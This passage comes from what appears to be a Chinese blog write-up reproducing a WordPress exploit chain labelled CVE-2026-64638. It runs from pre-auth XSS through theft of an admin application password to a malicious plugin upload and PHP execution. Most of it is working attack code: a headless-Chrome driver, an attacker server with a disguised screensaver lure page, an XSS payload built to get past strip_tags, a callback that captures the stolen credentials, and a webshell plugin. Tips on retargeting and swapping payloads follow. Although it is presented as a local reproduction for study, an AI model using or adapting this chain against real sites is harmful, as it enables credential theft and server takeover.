console.log(""); console.log("=".repeat(72)); if (rceRecord && installedFresh) { console.log("\x1b[32m完整链路打通:预认证 XSS → 管理员应用密码 → 插件上传 → PHP 执行\x1b[0m"); console.log(""); console.log(" shell.php 返回(在目标站自己的服务器上执行):"); console.log(" " + decodeURIComponent(rceRecord.payload || "")); console.log(""); console.log(" 验证地址: " + TARGET + `/wp-content/plugins/${PLUGIN_SLUG}/shell.php`); } else if (rceRecord) { // 最容易被误判成成功的一种情况:有回显,但这次没装上。 console.log("\x1b[33m链条未真正打通 —— 回显是上一次留下的旧文件给的\x1b[0m"); console.log(""); console.log(" 上传插件这一步的返回值: installed=" + (uploadedRecord ? uploadedRecord.installed : "(没有记录)")); console.log(" 但 shell.php 仍然返回了内容,说明目标上**早就**有同名文件。"); console.log(" 这类「有回显但没装上」的结果不能算打通 —— 它只证明了旧文件还在。"); console.log(""); console.log(" 处理办法:清掉残留再跑一次"); console.log(" docker exec " + (process.env.CONTAINER || "cve-2026-64638") + " rm -rf /var/www/html/wp-content/plugins/" + PLUGIN_SLUG); } else { console.log("\x1b[31m没等到 RCE 信标,检查攻击者站点日志\x1b[0m"); } console.log("=".repeat(72));
// 把判定结果反映到退出码上。 // 只打印不报错的话,Python 侧会用 `rc != 0` 来判断成败, // 于是"有回显但没装上"会被当成通过、接着去跑独立验证, // 而独立验证又会因为旧文件而返回成功 —— 一个假阳性就变成了两个。 if (!(rceRecord && installedFresh)) process.exitCode = 1; } finally { try { chrome.kill("SIGKILL"); } catch {} try { fs.rmSync(profile, { recursive: true, force: true }); } catch {} }}
main().catch((e) => { console.error("\x1b[31m[失败]\x1b[0m " + e.message); process.exit(1);});CDP 这个类只做了三件事(都在第 53 行开始的那一段里):
- 构造函数:建 WebSocket,把
open/error/message/close四个事件挂上。close那个处理是第七个坑(坑七)换来的 —— 它会把还没回包的请求全部reject send():给某个目标发一条命令,用自增 id 配对响应(JSON-RPC 的基本形态)waitEvent():等某个事件,带超时。
main() 里还有一处值得单独看:第 187 行起的 stderrRing,
一个只保留最后 40 行的环形缓冲,把 Chrome 的 stderr 存着。
正常情况下它什么都不做;只有连接异常断开时才把最后 8 行附进报错。
这是坑七留下的”诊断能力”,不是多余代码 —— 没有它,
下次 Chrome 再崩一次,还是只会看到一句”连接已断开”。
超时是必要的 —— 链条依赖浏览器里的时序,等不到就得失败退出, 不能无限挂在那里。
用无头 Chrome 自动完成「管理员登录 → 访问攻击页 → 触发 XSS → 跨窗口点击『批准』→ 拿到应用密码」这一整条浏览器链。
attack/serve.py
第 33 行 PLUGIN_SLUG —— 插件目录名(ZIP 里的顶层目录必须和它一致)第 42 行 SHELL_PHP —— 恶意 PHP 的源码(含必需的 Plugin Name 头)第 61 行 build_payload_zip —— 用标准库 zipfile 在内存里生成 ZIP第 70 行 EVIL_PAGE —— 攻击页 HTML 模板第 126 行 class Handler —— 路由:/evil.html、/payload.zip、/cb第 172 行 main —— 启动服务并打印自检信息#!/usr/bin/env python3"""CVE-2026-64638 复现 —— 攻击者站点(本地实验用)
作用: 在本地起一个极小的 HTTP 服务,充当"攻击者控制的那个第三方网站"。 它提供三样东西: 1. /evil.html 攻击页面(SOME + JSONP 的跨窗口点击逻辑) 2. /payload.zip 恶意插件包(页面里的脚本会把它传进目标站) 3. /cb 回调端点,接收被钓鱼的管理员浏览器重定向回来的应用密码, 以及页面脚本跑完后发回的 RCE 信标
为什么需要单独一个端口: 浏览器的同源策略按"协议 + 主机 + 端口"隔离。只有把攻击者页面放在 另一个端口(9099),它才是"外来站点",才能真实地演示跨站场景。 放在同一个端口就变成同源,整个演示失去意义。
只用标准库:http.server + zipfile,不依赖 Flask 等框架。"""
import ioimport sysimport jsonimport zipfileimport urllib.parsefrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
# 攻击者服务器捕获到的数据,全部追加到这个文件,方便脚本读取CAPTURE_FILE = "/tmp/cve-2026-64638-capture.log"
# 恶意插件的名字。注意目录名必须和 ZIP 里的顶层目录一致,# 上传成功后 WordPress 会把它解到 wp-content/plugins/<这个名字>/PLUGIN_SLUG = "pwn-plugin"
# shell.php 的内容。# 两个要点:# 1. 必须有 "Plugin Name:" 头部 —— WordPress 的上传器(Plugin_Upgrader::check_package)# 会扫描压缩包里的 PHP 文件找这个头部,没有就直接判定"不是有效插件"并拒绝安装。# 这是实际动手时最容易踩的坑(见 README 的踩坑章)。# 2. 装完之后不需要启用(Activate),文件已经躺在 web 可访问的目录里,# 直接请求 URL 就能执行 —— 这正是这条链危险的地方。SHELL_PHP = """<?php/** * Plugin Name: Pwn Plugin * Description: CVE-2026-64638 reproduction payload * Version: 1.0.0 * Author: repro */header('X-Pwned-By: CVE-2026-64638');$info = array( 'rce' => true, 'cwd' => getcwd(), 'php_user' => get_current_user(),);$id = @shell_exec('id 2>&1');$info['shell_exec'] = ($id === null || $id === false) ? 'disabled' : trim($id);echo json_encode($info), "\\n";"""
def build_payload_zip() -> bytes: """在内存里生成恶意插件 ZIP(标准库 zipfile,不落磁盘)""" buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf: zf.writestr(f"{PLUGIN_SLUG}/shell.php", SHELL_PHP) return buf.getvalue()
# 攻击页面的模板。__TARGET__ / __PAYLOAD_URL__ 会被替换成实际值。EVIL_PAGE = """<!doctype html><html lang="en"><head><meta charset="utf-8"><title>Free Screensaver Download</title></head><body><h1>Downloading...</h1><p>Please wait, do not close this tab.</p><script>// ── 攻击参数 ────────────────────────────────────────────────var TARGET = "__TARGET__"; // 目标 WordPressvar CB = location.origin + "/cb"; // 回调地址(就是我们自己)var APP_ID = "c0ffee00-1234-5678-9abc-def012345678";
// ── 注入载荷 ────────────────────────────────────────────────// 这就是要提交到 wp-login.php 的"用户名"。三个 < 后面都带一个空格,// 这正是绕过 PHP strip_tags() 的关键(详见 README 的载荷拆解一节)。// 注意:这里必须用字面的 & ,不能写 & —— sanitize_user() 会把// HTML 实体整段吃掉(wp-includes/formatting.php:2156),查询串就废了。var PAYLOAD = '< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>' + '< div id=color-picker class=reset-pass-submit>' + '< button class="wp-generate-pw color-option">X';
// ── 第 1 步:开一个子窗口,把载荷表单预先写好 ────────────────// 子窗口此时还是 about:blank,和本页同源,所以可以直接 document.write。var child = window.open("about:blank", "victim");
child.document.write( '<!doctype html><meta charset="utf-8">' + '<form id="poc" method="post" action="' + TARGET + '/wp-login.php">' // 属性值用单引号包住,这样载荷里的双引号不用转义 + '<input type="hidden" name="log" value=\\'' + PAYLOAD + '\\'>' + '<input type="hidden" name="pwd" value="x">' + '<input type="hidden" name="wp-submit" value="Log In">' + '</form>' // 等 1.5 秒再提交,给主窗口留出跳转到授权页的时间 + '<script>setTimeout(function(){ document.getElementById("poc").submit(); }, 1500);<\\/script>');child.document.close();
// ── 第 2 步:把"主窗口"(opener)导航到 WordPress 的应用密码授权页 ──// 这一步把管理员真实的登录会话"借"了过来:授权页上那个 id="approve" 的按钮,// 就是后面要被远程点击的目标。// 注意:本页执行完下面这行就跳走了,所以第 1 步必须先做完。location = TARGET + "/wp-admin/authorize-application.php" + "?app_name=TotallyLegitApp" + "&app_id=" + APP_ID + "&success_url=" + encodeURIComponent(CB);</script></body></html>"""
class Handler(BaseHTTPRequestHandler): server_version = "AttackerSite/1.0"
def log_message(self, fmt, *args): sys.stderr.write("[attacker] %s - %s\n" % (self.address_string(), fmt % args))
def _send(self, code, body, ctype="text/html; charset=utf-8"): raw = body if isinstance(body, bytes) else body.encode("utf-8") self.send_response(code) self.send_header("Content-Type", ctype) self.send_header("Content-Length", str(len(raw))) # 允许跨源读取:目标站里被注入的脚本要跨端口把插件包 fetch 回去 self.send_header("Access-Control-Allow-Origin", "*") self.end_headers() self.wfile.write(raw)
def do_GET(self): parsed = urllib.parse.urlparse(self.path) path, qs = parsed.path, urllib.parse.parse_qs(parsed.query)
if path in ("/", "/evil.html", "/index.html"): target = qs.get("t", ["http://127.0.0.1:8088"])[0].rstrip("/") self._send(200, EVIL_PAGE.replace("__TARGET__", target)) return
if path == "/payload.zip": self._send(200, build_payload_zip(), "application/zip") return
if path == "/cb": record = {k: v[0] for k, v in qs.items()} with open(CAPTURE_FILE, "a", encoding="utf-8") as fh: fh.write(json.dumps(record, ensure_ascii=False) + "\n")
sys.stderr.write("\n" + "=" * 62 + "\n") sys.stderr.write("[attacker] *** 收到回调 ***\n") for k, v in record.items(): sys.stderr.write("[attacker] %-10s = %s\n" % (k, v)) sys.stderr.write("=" * 62 + "\n\n")
self._send(200, "<h1>Thanks for installing our screensaver.</h1>") return
self._send(404, "<h1>404</h1>")
def main(): port = int(sys.argv[1]) if len(sys.argv) > 1 else 9099 # 启动时先把 ZIP 生成一次,顺便验证它能正常打开 z = build_payload_zip() with zipfile.ZipFile(io.BytesIO(z)) as zf: names = zf.namelist() sys.stderr.write("[attacker] 恶意插件包已生成:%d 字节,内含 %s\n" % (len(z), ", ".join(names))) srv = ThreadingHTTPServer(("127.0.0.1", port), Handler) sys.stderr.write("[attacker] 攻击者站点已启动: http://127.0.0.1:%d/evil.html\n" % port) srv.serve_forever()
if __name__ == "__main__": main()两个要点:
- 所有响应都带
Access-Control-Allow-Origin: *。因为投毒页面在 8088 上, 要跨端口把插件包从 9099 取回来,不开 CORS 拿不到可读的 Blob - 服务监听
127.0.0.1而不是0.0.0.0。只在本地可达, 局域网里的其他设备访问不到
可以改的变量
按需求从小到大:
- 换目标:
xss2shell.py check --target http://别的地址 - 换注入点:改
PAYLOAD_RCE(xss2shell.py:57)和attack/serve.py里EVIL_PAGE的var PAYLOAD = ...,两处必须同步改 - 换 JSONP 回调:把载荷里的
_jsonp=值改掉。 想验证”能不能调用任意全局函数”,改成_jsonp=alert最直观 - 换 webshell 内容:改
attack/serve.py的SHELL_PHP。 改完记得保留Plugin Name:头部 - 换浏览器:
CHROME环境变量,或者--node指定别的 node - 看中间过程:浏览器链支持
--debug-port,指定端口后可以 用真实 Chrome 打开http://127.0.0.1:<端口>手工接管调试 - 目标不在本地容器里:
chain --container ""跳过开跑前的清场, 但这时重复运行可能拿到”旧文件给的假成功”,记得自己确认(坑八)
动哪个要格外小心:
PAYLOAD_RCE里三个"< "的空格不能删,删了整条链就没了href里的&必须是裸&,不能写成&(第八节坑一)SHELL_PHP的Plugin Name:注释头不能删(第八节坑二)build_payload_zip里 ZIP 的顶层目录名必须和PLUGIN_SLUG一致, 否则解出来的路径和脚本请求的 URL 对不上
结语
不是哥们我以前的网站这么容易就没啦!!!
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!